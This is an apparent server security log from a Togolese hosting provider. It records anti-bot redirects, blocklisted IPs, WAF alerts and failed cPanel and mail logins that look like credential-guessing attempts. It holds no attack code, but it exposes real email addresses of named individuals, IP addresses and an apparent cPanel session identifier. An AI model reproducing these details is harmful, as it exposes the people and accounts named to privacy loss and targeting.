34.122.147.229 - - [12/Jun/2026:23:07:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6711958&pdata=https%253A%252F%252Fcorpsdiplomaticnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781305673 HTTP/2.0" 302 0 corpsdiplomaticnews.tg "https://corpsdiplomaticnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [12/Jun/2026:23:07:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6842775&pdata=http%253A%252F%252Fcorpsdiplomaticnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781305667 HTTP/1.1" 302 0 corpsdiplomaticnews.tg "http://corpsdiplomaticnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.165.231.222
country_id: 953987
description:
[2026-06-12 23:09:59 +0000] info [cpaneld] 165.165.231.222 - letab "GET /login/?login_only=1&user=letab&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user letab (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.49.244.151
country_id: 3469034
description:
[2026-06-12 23:10:04 +0000] info [cpaneld] 187.49.244.151 - leta "GET /login/?login_only=1&user=leta&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user leta (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 198.163.195.126
country_id: 1512440
description:
[2026-06-12 23:10:08 +0000] info [cpaneld] 198.163.195.126 - let "GET /login/?login_only=1&user=let&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user let (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.189.76.34
country_id: 1562822
description:
[2026-06-12 23:09:47 +0000] info [cpaneld] 14.189.76.34 - letabloidtg "GET /login/?login_only=1&user=letabloidtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user letabloidtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.212.126.163
country_id: 3617476
description:
[2026-06-12 23:09:55 +0000] info [cpaneld] 190.212.126.163 - letabl "GET /login/?login_only=1&user=letabl&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user letabl (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.5
country_id: 6252001
description:
205.169.39.5 - - [12/Jun/2026:23:10:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9594567&pdata=http%253A%252F%252Fcorpsdiplomaticnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781305802 HTTP/1.1" 302 0 corpsdiplomaticnews.tg "http://corpsdiplomaticnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.5


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.52
country_id: 6252001
description:
205.169.39.52 - - [12/Jun/2026:23:11:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000839&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781305897 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.52


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.77.60.152
country_id: 1210997
description:
103.77.60.152 - - [12/Jun/2026:23:13:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116693&pdata=https%253A%252F%252Ftogodailynews.tg%252Fbas-mono-et-lacs-faure-gnassingbe-dote-les-deux-prefectures-dinfrastructures-socioeconomiques-adequates%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781306009 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/bas-mono-et-lacs-faure-gnassingbe-dote-les-deux-prefectures-dinfrastructures-socioeconomiques-adequates/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.8885.1996 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.77.60.152


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 67.209.138.83
country_id: 1522867
description:
67.209.138.83 - - [12/Jun/2026:23:16:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9618580&pdata=https%253A%252F%252Fwebmail.tdopz.free.netmaster.tg%252F%253Flocale%253Dtr&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781306199 HTTP/2.0" 302 0 webmail.tdopz.free.netmaster.tg "https://webmail.tdopz.free.netmaster.tg/?locale=tr" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:67.209.138.83


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.107.254
country_id: 3469034
description:
Jun 12 23:16:58 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.107.254 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 23:18:40 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:60952: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 124.243.181.12
country_id: 1880251
description:
124.243.181.12 - - [12/Jun/2026:23:21:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9739159&pdata=http%253A%252F%252Fwww.letabloid.tg%252F2026%252F04%252F24%252Fleadership-feminin-les-inscriptions-ouvertes-pour-le-concours-ambassadrice-de-paix-2027%252Ftagdivofficial&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781306510 HTTP/1.1" 302 0 www.letabloid.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:124.243.181.12


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-06-12 23:23:04 +0000] info [cpaneld] 103.210.132.14 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [12/Jun/2026:23:24:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262889&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781306689 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.130.213.240
country_id: 458258
description:
2026-06-12 23:27:23 dovecot_plain authenticator failed for H=(26j1qwoz7642o4cw31vlkw8yxz) [45.130.213.240]:49470: 535 Incorrect authentication data (set_id=moise.attissovi@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.130.213.240
country_id: 458258
description:
Jun 12 23:27:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.130.213.240 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [12/Jun/2026:23:30:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9672809&pdata=http%253A%252F%252Fowuls2.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781307015 HTTP/1.1" 302 0 owuls2.mediatopnews.tg "http://owuls2.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.48
country_id: 6252001
description:
205.169.39.48 - - [12/Jun/2026:23:30:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000791&pdata=https%253A%252F%252Fkpmg.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781307027 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/" "Mozilla/5.0 (Linux; Android 7.0; SM-G930V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.48


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [12/Jun/2026:23:30:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855323&pdata=https%253A%252F%252Fkpmg.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781307028 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.58
country_id: 6252001
description:
205.169.39.58 - - [12/Jun/2026:23:30:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13001573&pdata=https%253A%252F%252Fkpmg.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781307027 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.58


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 205.169.39.1
country_id: 6252001
description:
205.169.39.1 - - [12/Jun/2026:23:30:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9672809%26pdata=http://owuls2.mediatopnews.tg%26id=7fa3b767c460b54a2be4d49030b349c7%26ts=1781307015 HTTP/1.1" 404 561 owuls2.mediatopnews.tg "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.1


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.43
country_id: 6252001
description:
205.169.39.43 - - [12/Jun/2026:23:30:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6866077&pdata=https%253A%252F%252Fkpmg.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781307027 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.43


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.100.248
country_id: 2921044
description:
Jun 12 23:31:47 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.100.248 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.100.248
country_id: 2921044
description:
2026-06-12 23:31:49 dovecot_plain authenticator failed for H=tor-exit-9.zbau.f3netze.de (g466c9rvmkgqkhsc) [185.220.100.248]:37606: 535 Incorrect authentication data (set_id=kpip@emt.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.178.139
country_id: 3175395
description:
Jun 12 23:36:24 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.178.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.161.20
country_id: 6252001
description:
Jun 12 23:39:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.161.20 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - kodjovi.tete@ucao-uut.tg [06/12/2026:23:46:15 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: kodjovi.tete@ucao-uut.tg


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.20.234.161
country_id: 587116
description:
2026-06-12 23:48:16 dovecot_login authenticator failed for H=(250.43.246.220.static.netvigator.com) [94.20.234.161]:49045: 535 Incorrect authentication data (set_id=orders@soena.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.20.234.161
country_id: 587116
description:
Jun 12 23:48:14 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.20.234.161 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-06-12 23:55:10 +0000] info [cpaneld] 103.210.132.14 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.22.38
country_id: 690791
description:
Jun 12 23:55:39 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.22.38 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 190.92.200.107
country_id: 1880251
description:
190.92.200.107 - - [12/Jun/2026:23:55:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9662108&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcategory%252Finternationale%252Fpage%252F7%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781308539 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/category/internationale/page/7/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:190.92.200.107


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 185.132.178.97
country_id: 2750405
description:
[2026-06-13 00:10:04 +0000] info [cpaneld] 185.132.178.97 NEW ucaouut:kpXue5ad6Mqn8QS_ address=185.132.178.97,app=cpaneld,creator=ucaouut,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.25.215.182
country_id: 6252001
description:
Jun 13 00:10:06 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.25.215.182 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.25.215.182
country_id: 6252001
description:
2026-06-13 00:10:08 dovecot_plain authenticator failed for H=(prwsa550v0hp7pykgksqz) [193.25.215.182]:39534: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.95.213
country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:152.232.95.213||TA:152.232.95.213||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.143.244.232
country_id: 2510769
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:104.143.244.232||TA:104.143.244.232||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 18.224.171.11
country_id: 6252001
description:
[2026-06-13 00:19:26 +0000] info [cpaneld] 18.224.171.11 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.113.114.61
country_id: 3658394
description:
[2026-06-13 00:20:36 +0000] info [cpaneld] 181.113.114.61 - cloudetr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cloudetr (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.163
country_id: 3865483
description:
Jun 13 00:21:40 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.163 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 78.148.66.96
country_id: 2635167
description:
78.148.66.96 - - [13/Jun/2026:00:22:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7169433&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781310139 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:78.148.66.96


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 78.148.66.96
country_id: 2635167
description:
78.148.66.96 - - [13/Jun/2026:00:26:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7169433&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781310139 HTTP/2.0" 404 159 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16_0 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:78.148.66.96


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 78.148.66.96
country_id: 2635167
description:
78.148.66.96 - - [13/Jun/2026:00:28:49 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7169433&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781310139" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:78.148.66.96


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.245.191.101
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/economie/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.245.191.101
country_id: 1562822
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/category/economie/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 78.148.66.96
country_id: 2635167
description:
78.148.66.96 - - [13/Jun/2026:00:28:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7169433&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781310139 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:78.148.66.96


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 40.27.110.202
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-31.40.27.110.202||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [13/Jun/2026:00:32:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6725228&pdata=http%253A%252F%252Fgfcusr.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781310721 HTTP/1.1" 302 0 gfcusr.mediatopnews.tg "http://gfcusr.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 130.12.182.188
country_id: 6252001
description:
Jun 13 00:35:00 ns5 pure-ftpd[1997404]: (?@130.12.182.188) [INFO] New connection from 130.12.182.188


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.62.34
country_id: 953987
description:
Jun 13 00:35:12 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.62.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.62.34
country_id: 953987
description:
Jun 13 00:35:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.62.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.158
country_id: 130758
description:
Jun 13 00:35:58 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.158 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 93.71.103.137
country_id: 3175395
description:
93.71.103.137 - - [13/Jun/2026:00:36:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7169433&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781310139 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.71.103.137


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 93.71.103.137
country_id: 3175395
description:
93.71.103.137 - - [13/Jun/2026:00:36:38 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7169433&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781310139" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.71.103.137


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 192.144.91.46
country_id: 2750405
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:la-bidc-lance-son-cadre-de-financement-esg-et-obtient-une-evaluation-positive-de-la-part-de-iss-esg-solutions/||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.99.124.119
country_id: 1835841
description:
Jun 13 00:38:03 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.99.124.119 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.99.124.119
country_id: 1835841
description:
2026-06-13 00:38:05 dovecot_login authenticator failed for H=([182.95.182.166]) [210.99.124.119]:33836: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 00:37:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:54460: 535 Incorrect authentication data (set_id=highlander@ns5.netmaster.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 151.247.187.229
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:151.247.187.229||TA:151.247.187.229||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 00:37:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 00:37:33 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 00:37:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:18764: 535 Incorrect authentication data (set_id=degruyter@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 52.50.172.183
country_id: 2963597
description:
Jun 13 00:43:07 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 52.50.172.183 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 52.50.172.183
country_id: 2963597
description:
2026-06-13 00:43:09 dovecot_plain authenticator failed for H=ec2-52-50-172-183.eu-west-1.compute.amazonaws.com (ip-172-26-10-2) [52.50.172.183]:57694: 535 Incorrect authentication data (set_id=hilaire.mensah@mesyscom.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.122.252.54
country_id: 1210997
description:
103.122.252.54 - - [13/Jun/2026:00:46:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6593135&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-un-cadre-dinvestissement-propice%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781311571 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-un-cadre-dinvestissement-propice/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.7561.1262 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.122.252.54


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 217.218.152.77
country_id: 130758
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-47.217.218.152.77||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
